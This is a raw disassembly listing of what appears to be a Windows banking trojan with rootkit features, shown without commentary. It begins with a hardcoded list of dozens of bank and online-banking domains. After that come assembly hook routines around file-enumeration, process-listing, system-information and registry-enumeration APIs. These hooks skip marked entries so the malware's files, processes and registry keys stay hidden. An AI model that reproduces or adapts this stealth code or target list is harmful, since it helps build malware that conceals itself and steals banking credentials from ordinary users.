dd offset aMasterX_com ; "master-x.com" dd offset aEbookfinaltras ; "ebookfinaltrash.ru" dd offset aWww_masterbank ; "www.masterbank.ru" dd offset aWww_bankBanque ; "www.bank-banque-canada.ca/index.php" dd offset aWww_bmo_com ; "www.bmo.com" dd offset aWww_bankofmadu ; "www.bankofmadura.com" dd offset aWww_cibc_com ; "www.cibc.com" dd offset aWww_vtb_ru ; "www.vtb.ru" dd offset aWww_cwbank_com ; "www.cwbank.com" dd offset aHyperSpaceFuel ; "hyper-space-fuel.ru" dd offset aAlfabank_ru ; "alfabank.ru" dd offset aCrutop_nuVbull ; "crutop.nu/vbulletin/" dd offset aWww_mmbank_ru ; "www.mmbank.ru" dd offset aCrutop_nuVbu_0 ; "crutop.nu/vbulletin/forumdisplay.php" dd offset aWww_uniastrum_ ; "www.uniastrum.ru" dd offset aCrutop_nuVbu_1 ; "crutop.nu/vbulletin/showthread.php" dd offset aAtmacasoft_com ; "atmacasoft.com" dd offset aAsmworm_com ; "asmworm.com" dd offset aWww_proxySocks ; "www.proxy-socks.net" dd offset aDigitalRelaxkg ; "digital-relaxkgb.ru" dd offset aWww_worldbank_ ; "www.worldbank.org/index.php" dd offset aWww_candidatev ; "www.candidateverifier.com/index.php" dd offset aWww_sbrf_ru ; "www.sbrf.ru" dd offset aPizdabolInc_ru ; "pizdabol-inc.ru" dd offset aWww_bankofindi ; "www.bankofindia.com" dd offset aWww_icbank_ru ; "www.icbank.ru" dd offset aAcroleinHawk_r ; "acrolein-hawk.rubanking.halifax-online."... dd offset aWww_spyinstruc ; "www.spyinstructors.com" dd offset aWww_kmb_ru ; "www.kmb.ru" dd offset aWww_netmagiste ; "www.netmagister.com" dd offset aKavkazcenter_c ; "kavkazcenter.com/russ" dd offset aWww_absolutban ; "www.absolutbank.ru" dd offset aMyonlineaccoun ; "myonlineaccounts2.abbeynational.co.uk" dd offset aOnlineBusiness ; "online-business.lloydstsb.co.uk" dd offset aWww_allahabadb ; "www.allahabadbank.com" dd offset aMasterX_comFor ; "master-x.com/forum/" dd offset aWww_rbc_com ; "www.rbc.com" dd offset aWww_ovk_ru ; "www.ovk.ru" dd offset aWww1_hsbc_caIn ; "www1.hsbc.ca/index.php" dd offset aProrat_net ; "prorat.net" dd offset aYambo_biz ; "yambo.biz" dd offset aKidosBank_ru ; "kidos-bank.ru" dd offset aWww_lbcdirect_ ; "www.lbcdirect.laurentianbank.ca/index.p"... dd offset aBarclays_com ; "barclays.com" dd offset aTotallyfreeban ; "totallyfreebanking.com" dd offset aWww_nbc_caInde ; "www.nbc.ca/index.php" dd offset a53bank_com ; "53bank.com" dd offset aWww_uralsib_ru ; "www.uralsib.ru" dd offset aGrepwareFacili ; "grepware-facility.ru" dd offset aWww_b2bTrust_c ; "www.b2b-trust.com" dd offset aGutabank_ru ; "gutabank.ru" dd offset aOpenbank_com ; "openbank.com" dd offset aSeclab_ru ; "seclab.ru" dd offset aTatNeftbank_ru ; "tat-neftbank.ru" dd offset aSecuritylab_ru ; "securitylab.ru" dd offset aRoyalbank_com ; "royalbank.com" dd offset aFethard_biz ; "fethard.biz" dd offset aWww_mdmbank_ru ; "www.mdmbank.ru" dd offset aGronxplanets_r ; "gronxplanets.ru" dd offset aChevychasebank ; "chevychasebank.com" aJnq_ db 'Jnq.',0 aSoftwareMicros db 'Software\Microsoft\Windows',0 ; DATA XREF: sub_4098A8+5A0o ; sub_4098A8+68Fo ... aK db 'K',0 aOfstkkq db 'ofstkkq',0 ; DATA XREF: sub_4098A8+59Bo ; sub_4098A8+68Ao db 0 aOfstkkqc db 'ofstkkqc',0 ; DATA XREF: sub_4098A8+6E3o ; sub_4098A8+898o dd 0 dword_43C21C dd 0 ; sub_40B3E8:loc_40B57Br ... dword_43C220 dd 0 ; sub_40B3E8+A9r ... aDSF?t db 'D>S F?t',0 dword_43C22C dd 727C21h dword_43C230 dd 3Bh ; sub_401D31+96w ... dd 3, 0Eh dword_43C23C dd 0 ; .text:loc_40145Br ... dd 1, 0Dh dword_43C248 dd 0 ; .text:loc_40159Dr ... dd 2, 10h dword_43C254 dd 0 ; .text:loc_4016D6r ... dd 6, 0Ch dword_43C260 dd 0 ; .text:loc_4017B4r ... dword_43C264 dd 354B5Eh aO68 db 'o6,%8',0 ; DATA XREF: sub_40181A+A7o align 10h dd 5, 0Ah dword_43C278 dd 0 ; .text:loc_40193Br ... aVlvh_ db 'vlVh_',0 ; DATA XREF: .text:004019ABo align 4 dd 5, 0Fh dword_43C28C dd 0 ; .text:loc_401A1Dr ... word_43C290 dw 2Ah ; DATA XREF: sub_401A7E+37r dword_43C292 dd 707C44h align 4 dd 0 dd 0Bh dword_43C2A0 dd 0 ; .text:loc_401B47r ... word_43C2A4 dw 4Ah ; DATA XREF: sub_401BB7+9r aFqgcpb db 'FqGcPB:',0 ; DATA XREF: sub_401BB7+D4o align 10h dd 2, 0Ah dword_43C2B8 dd 0 ; .text:loc_401CCEr ... word_43C2BC dw 20h ; DATA XREF: sub_401D31+1Dr aQ8abz db 'Q8az',0 ; DATA XREF: sub_401D31+13Ao aIh db '>%<Ih',0 ; DATA XREF: sub_401D31+2E7o align 4 off_43C2CC dd offset loc_401DBB ; DATA XREF: sub_401D31+7Er dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DF8 dd offset loc_401DF8 dd offset loc_402002 dd offset loc_402002 dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DF8 dd offset loc_401DF8 dd offset loc_402002 dd offset loc_401F8C dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DF8 dd offset loc_401DF8 dd offset loc_402002 dd offset loc_402002 dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DF8 dd offset loc_401DF8 dd offset loc_402002 dd offset loc_402002 dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DF8 dd offset loc_401DF8 dd offset loc_401E2D dd offset loc_402002 dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DF8 dd offset loc_401DF8 dd offset loc_401E2D dd offset loc_402002 dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DF8 dd offset loc_401DF8 dd offset loc_401E2D dd offset loc_402002 dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DF8 dd offset loc_401DF8 dd offset loc_401E2D dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401E2D dd offset loc_401E2D dd offset loc_401EB0 dd offset loc_401ED6 dd offset loc_401F5A dd offset loc_401F20 dd offset loc_401E1C dd offset loc_401F0E dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401F0E dd offset loc_401F20 dd offset loc_401F0E dd offset loc_401F0E dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB off_43C4FC dd offset loc_401DBB ; DATA XREF: sub_401D31+291r dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_401F37 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_401F4A dd offset loc_401F4A dd offset loc_401F4A dd offset loc_401F4A dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_401E1C dd offset loc_401F5A dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401F5A dd offset loc_401F5A dd offset loc_401F5A dd offset loc_401F5A dd offset loc_401F5A dd offset loc_401F5A dd offset loc_401F5A dd offset loc_401F5A dd offset loc_401F0E dd offset loc_401F0E dd offset loc_401F70 dd offset loc_402002 dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401F0E dd offset loc_401F20 dd offset loc_401F7C dd offset loc_402002 dd offset loc_401F70 dd offset loc_402002 dd offset loc_402002 dd offset loc_401DCD dd offset loc_402002 dd offset loc_402002 dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401E1C dd offset loc_401E1C dd offset loc_402002 dd offset loc_402002 dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401DBB dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401E1C dd offset loc_401F5A dd offset loc_401F5A dd offset loc_401F37 dd offset loc_401E1C dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_401E58 dd offset loc_401F85 dd offset loc_401E85 dd offset loc_401E85 dd offset loc_402002 dd offset loc_402002 dd offset loc_401DE8 dd offset loc_401DE8 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_401DBB dd offset loc_401DBB off_43C6CC dd offset loc_401FCE ; DATA XREF: sub_401D31+27Cr dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FFB dd offset loc_401FFB dd offset loc_402002 dd offset loc_401FFB dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FDF dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_401FCE dd offset loc_401FEC dd offset loc_401FCE dd offset loc_401FFB dd offset loc_401FFB dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_401FCE dd offset loc_401FEC dd offset loc_401FCE dd offset loc_401FFB dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FFB dd offset loc_401FFB dd offset loc_401FEC dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FCE dd offset loc_401FFB dd offset loc_401FFB dd offset loc_401FFB dd offset loc_401FFB dd offset loc_401FFB dd offset loc_401FFB dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 dd offset loc_402002 aFindnextfilea db 'FindNextFileA',0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx loc_43C85B: ; CODE XREF: .data:0043C8A4j push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CA68h test eax, eax jz short loc_43C8A6 pusha mov eax, [ebp+0Ch] add eax, 2Ch mov ebx, eax loc_43C875: ; CODE XREF: .data:0043C87Bj cmp byte ptr [ebx], 0 jz short loc_43C87D inc ebx jmp short loc_43C875 ; --------------------------------------------------------------------------- loc_43C87D: ; CODE XREF: .data:0043C878j mov word ptr [ebx], 463Ah inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FD49Eh pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43C8A3 popa jmp short loc_43C8A6 ; --------------------------------------------------------------------------- loc_43C8A3: ; CODE XREF: .data:0043C89Ej popa jmp short loc_43C85B ; --------------------------------------------------------------------------- loc_43C8A6: ; CODE XREF: .data:0043C868j ; .data:0043C8A1j mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 6E694600h, 78654E64h, 6C694674h db 65h, 57h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx loc_43C8DC: ; CODE XREF: .data:0043C92Bj push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CAE9h test eax, eax jz short loc_43C92D pusha mov eax, [ebp+0Ch] add eax, 2Ch mov ebx, eax loc_43C8F6: ; CODE XREF: .data:0043C8FEj cmp word ptr [ebx], 0 jz short loc_43C900 inc ebx inc ebx jmp short loc_43C8F6 ; --------------------------------------------------------------------------- loc_43C900: ; CODE XREF: .data:0043C8FAj mov dword ptr [ebx], 46003Ah add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50D625h pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43C92A popa jmp short loc_43C92D ; --------------------------------------------------------------------------- loc_43C92A: ; CODE XREF: .data:0043C925j popa jmp short loc_43C8DC ; --------------------------------------------------------------------------- loc_43C92D: ; CODE XREF: .data:0043C8E9j ; .data:0043C928j mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- dw 0FFFFh dword_43C940 dd 0FFFFFFh, 7551744Eh, 53797265h, 65747379h, 666E496Dh ; DATA XREF: .data:0043CE8Co dd 616D726Fh, 6E6F6974h db 0 ; --------------------------------------------------------------------------- loc_43C95D: ; DATA XREF: .data:0043CE94o push ebp mov ebp, esp sub esp, 24h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx sub esp, 10h mov eax, [ebp+14h] mov edi, [ebp+10h] mov ebx, [ebp+0Ch] mov [esp+0Ch], eax mov [esp+8], edi mov [esp+4], ebx mov esi, [ebp+8] mov [esp], esi call near ptr 245CB93h mov [ebp-4], eax cmp esi, 5 jz short loc_43C9AD loc_43C999: ; CODE XREF: .data:0043C9B3j ; .data:0043CA06j mov eax, [ebp-4] mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- loc_43C9AD: ; CODE XREF: .data:0043C997j cmp edi, 1F40h jle short loc_43C999 jmp short loc_43C9BB ; --------------------------------------------------------------------------- loc_43C9B7: ; CODE XREF: .data:0043CA08j mov esi, ebx loc_43C9B9: ; CODE XREF: .data:0043CA00j add ebx, eax loc_43C9BB: ; CODE XREF: .data:0043C9B5j pusha mov eax, [ebx+44h] push 50h sub esp, 20h xor ebx, ebx loc_43C9C9: ; CODE XREF: .data:0043C9DCj bt eax, ebx jb short loc_43C9D4 mov byte ptr [esp+ebx], 30h jmp short loc_43C9D8 ; --------------------------------------------------------------------------- loc_43C9D4: ; CODE XREF: .data:0043C9CCj mov byte ptr [esp+ebx], 31h loc_43C9D8: ; CODE XREF: .data:0043C9D2j inc ebx cmp ebx, 20h jnz short loc_43C9C9 push esp call near ptr 0C4FD5F0h add esp, 24h test ax, ax jnz short loc_43C9EF popa jmp short loc_43CA02 ; --------------------------------------------------------------------------- loc_43C9EF: ; CODE XREF: .data:0043C9EAj popa mov eax, [ebx] test eax, eax jnz short loc_43C9FE mov dword ptr [esi], 0 jmp short loc_43CA02 ; --------------------------------------------------------------------------- loc_43C9FE: ; CODE XREF: .data:0043C9F4j add [esi], eax jmp short loc_43C9B9 ; --------------------------------------------------------------------------- loc_43CA02: ; CODE XREF: .data:0043C9EDj ; .data:0043C9FCj mov eax, [ebx] test eax, eax jz short loc_43C999 jmp short loc_43C9B7 ; --------------------------------------------------------------------------- dw 0FFFFh dd 0FFFFFFh aProcess32next db 'Process32Next',0 ; DATA XREF: .data:off_43CE7Co word_43CA1E dw 8360h ; DATA XREF: .data:off_43CE84o dd 46A08C5h, 0B0BE855h, 0C0850B0Bh, 0EB610374h, 458B610Bh dd 1013D08h, 14740101h, 80808E8h, 1FF8108h, 74010101h dd 1013D07h, 5750101h, 20202E9h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx loc_43CA66: ; CODE XREF: .data:0043CAB4j sub esp, 8 mov ebx, [ebp+0Ch] mov edi, [ebp+8] mov [esp+4], ebx mov [esp], edi call near ptr 245CC7Dh test eax, eax jz short loc_43CAB6 pusha mov eax, [ebx+8] push 50h sub esp, 20h xor ebx, ebx loc_43CA8D: ; CODE XREF: .data:0043CAA0j bt eax, ebx jb short loc_43CA98 mov byte ptr [esp+ebx], 30h jmp short loc_43CA9C ; --------------------------------------------------------------------------- loc_43CA98: ; CODE XREF: .data:0043CA90j mov byte ptr [esp+ebx], 31h loc_43CA9C: ; CODE XREF: .data:0043CA96j inc ebx cmp ebx, 20h jnz short loc_43CA8D push esp call near ptr 0C4FD6B4h add esp, 24h test ax, ax jnz short loc_43CAB3 popa jmp short loc_43CAB6 ; --------------------------------------------------------------------------- loc_43CAB3: ; CODE XREF: .data:0043CAAEj popa jmp short loc_43CA66 ; --------------------------------------------------------------------------- loc_43CAB6: ; CODE XREF: .data:0043CA7Dj ; .data:0043CAB1j mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 67655200h, 6D756E45h, 4179654Bh db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43CADC: ; CODE XREF: .data:0043CB29j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CCEFh test eax, eax jnz short loc_43CB2B pusha mov eax, [ebp+10h] mov ebx, eax loc_43CAF7: ; CODE XREF: .data:0043CAFDj cmp byte ptr [ebx], 0 jz short loc_43CAFF inc ebx jmp short loc_43CAF7 ; --------------------------------------------------------------------------- loc_43CAFF: ; CODE XREF: .data:0043CAFAj mov word ptr [ebx], 4B23h inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FD720h pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43CB25 popa jmp short loc_43CB2B ; --------------------------------------------------------------------------- loc_43CB25: ; CODE XREF: .data:0043CB20j popa inc dword ptr [ebp+0Ch] jmp short loc_43CADC ; --------------------------------------------------------------------------- loc_43CB2B: ; CODE XREF: .data:0043CAEFj ; .data:0043CB23j pop ebp retn 10h ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 67655200h, 6D756E45h, 5779654Bh db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43CB44: ; CODE XREF: .data:0043CB97j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CD57h test eax, eax jnz short loc_43CB99 pusha mov eax, [ebp+10h] mov ebx, eax loc_43CB5F: ; CODE XREF: .data:0043CB67j cmp word ptr [ebx], 0 jz short loc_43CB69 inc ebx inc ebx jmp short loc_43CB5F ; --------------------------------------------------------------------------- loc_43CB69: ; CODE XREF: .data:0043CB63j mov dword ptr [ebx], 4B0023h add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50D88Eh pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43CB93 popa jmp short loc_43CB99 ; --------------------------------------------------------------------------- loc_43CB93: ; CODE XREF: .data:0043CB8Ej popa inc dword ptr [ebp+0Ch] jmp short loc_43CB44 ; --------------------------------------------------------------------------- loc_43CB99: ; CODE XREF: .data:0043CB57j ; .data:0043CB91j pop ebp retn 10h ; --------------------------------------------------------------------------- db 3 dup(0FFh) dword_43CBA0 dd 5200FFFFh, 6E456765h, 654B6D75h, 57784579h db 0 ; --------------------------------------------------------------------------- loc_43CBB1: ; DATA XREF: .data:0043CEE4o push ebp mov ebp, esp loc_43CBB4: ; CODE XREF: .data:0043CC2Fj mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+20h] test eax, eax jz short loc_43CBC2 push dword ptr [eax] loc_43CBC2: ; CODE XREF: .data:0043CBBEj push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CDE1h test eax, eax jnz short loc_43CC31 pusha mov eax, [ebp+10h] mov ebx, eax loc_43CBE9: ; CODE XREF: .data:0043CBF1j cmp word ptr [ebx], 0 jz short loc_43CBF3 inc ebx inc ebx jmp short loc_43CBE9 ; --------------------------------------------------------------------------- loc_43CBF3: ; CODE XREF: .data:0043CBEDj mov dword ptr [ebx], 4B0023h add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50D918h pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43CC1D popa jmp short loc_43CC31 ; --------------------------------------------------------------------------- loc_43CC1D: ; CODE XREF: .data:0043CC18j popa inc dword ptr [ebp+0Ch] mov eax, [ebp+20h] test eax, eax jz short loc_43CC2A pop dword ptr [eax] loc_43CC2A: ; CODE XREF: .data:0043CC26j mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43CBB4 ; --------------------------------------------------------------------------- loc_43CC31: ; CODE XREF: .data:0043CBE1j ; .data:0043CC1Bj add esp, 4 cmp dword ptr [ebp+20h], 0 jz short loc_43CC3D add esp, 4 loc_43CC3D: ; CODE XREF: .data:0043CC38j pop ebp retn 20h ; --------------------------------------------------------------------------- db 3 dup(0FFh) dd 5200FFFFh, 6E456765h, 654B6D75h, 41784579h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43CC58: ; CODE XREF: .data:0043CCCDj mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+20h] test eax, eax jz short loc_43CC66 push dword ptr [eax] loc_43CC66: ; CODE XREF: .data:0043CC62j push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CE85h test eax, eax jnz short loc_43CCCF pusha mov eax, [ebp+10h] mov ebx, eax loc_43CC8D: ; CODE XREF: .data:0043CC93j cmp byte ptr [ebx], 0 jz short loc_43CC95 inc ebx jmp short loc_43CC8D ; --------------------------------------------------------------------------- loc_43CC95: ; CODE XREF: .data:0043CC90j mov word ptr [ebx], 4B23h inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FD8B6h pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43CCBB popa jmp short loc_43CCCF ; --------------------------------------------------------------------------- loc_43CCBB: ; CODE XREF: .data:0043CCB6j popa inc dword ptr [ebp+0Ch] mov eax, [ebp+20h] test eax, eax jz short loc_43CCC8 pop dword ptr [eax] loc_43CCC8: ; CODE XREF: .data:0043CCC4j mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43CC58 ; --------------------------------------------------------------------------- loc_43CCCF: ; CODE XREF: .data:0043CC85j ; .data:0043CCB9j add esp, 4 cmp dword ptr [ebp+20h], 0 jz short loc_43CCDB add esp, 4 loc_43CCDB: ; CODE XREF: .data:0043CCD6j pop ebp retn 20h ; --------------------------------------------------------------------------- db 0FFh dword_43CCE0 dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h db 65h, 57h, 0 ; --------------------------------------------------------------------------- loc_43CCF3: ; DATA XREF: .data:0043CF04o push ebp mov ebp, esp loc_43CCF6: ; CODE XREF: .data:0043CD71j mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+24h] test eax, eax jz short loc_43CD04 push dword ptr [eax] loc_43CD04: ; CODE XREF: .data:0043CD00j push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CF23h test eax, eax jnz short loc_43CD73 pusha mov eax, [ebp+10h] mov ebx, eax loc_43CD2B: ; CODE XREF: .data:0043CD33j cmp word ptr [ebx], 0 jz short loc_43CD35 inc ebx inc ebx jmp short loc_43CD2B ; --------------------------------------------------------------------------- loc_43CD35: ; CODE XREF: .data:0043CD2Fj mov dword ptr [ebx], 560023h add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50DA5Ah pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43CD5F popa jmp short loc_43CD73 ; --------------------------------------------------------------------------- loc_43CD5F: ; CODE XREF: .data:0043CD5Aj popa inc dword ptr [ebp+0Ch] mov eax, [ebp+24h] test eax, eax jz short loc_43CD6C pop dword ptr [eax] loc_43CD6C: ; CODE XREF: .data:0043CD68j mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43CCF6 ; --------------------------------------------------------------------------- loc_43CD73: ; CODE XREF: .data:0043CD23j ; .data:0043CD5Dj add esp, 4 cmp dword ptr [ebp+24h], 0 jz short loc_43CD7F add esp, 4 loc_43CD7F: ; CODE XREF: .data:0043CD7Aj pop ebp retn 20h ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h db 65h, 41h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43CD9A: ; CODE XREF: .data:0043CE0Fj mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+24h] test eax, eax jz short loc_43CDA8 push dword ptr [eax] loc_43CDA8: ; CODE XREF: .data:0043CDA4j push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CFC7h test eax, eax jnz short loc_43CE11 pusha mov eax, [ebp+10h] mov ebx, eax loc_43CDCF: ; CODE XREF: .data:0043CDD5j cmp byte ptr [ebx], 0 jz short loc_43CDD7 inc ebx jmp short loc_43CDCF ; --------------------------------------------------------------------------- loc_43CDD7: ; CODE XREF: .data:0043CDD2j mov word ptr [ebx], 5623h inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FD9F8h pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43CDFD popa jmp short loc_43CE11 ; --------------------------------------------------------------------------- loc_43CDFD: ; CODE XREF: .data:0043CDF8j popa inc dword ptr [ebp+0Ch] mov eax, [ebp+24h] test eax, eax jz short loc_43CE0A pop dword ptr [eax] loc_43CE0A: ; CODE XREF: .data:0043CE06j mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43CD9A ; --------------------------------------------------------------------------- loc_43CE11: ; CODE XREF: .data:0043CDC7j ; .data:0043CDFBj add esp, 4 cmp dword ptr [ebp+24h], 0 jz short loc_43CE1D add esp, 4 loc_43CE1D: ; CODE XREF: .data:0043CE18j pop ebp retn 20h ; --------------------------------------------------------------------------- db 3 dup(0FFh) db 2 dup(0FFh), 0 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_402A48+3F5o ; .data:off_43CE80o aNtdll_dll db 'ntdll.dll',0 ; DATA XREF: sub_402226+Eo ; .data:0043CE90o ... aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: .data:0043CEE0o ; .data:0043CF00o 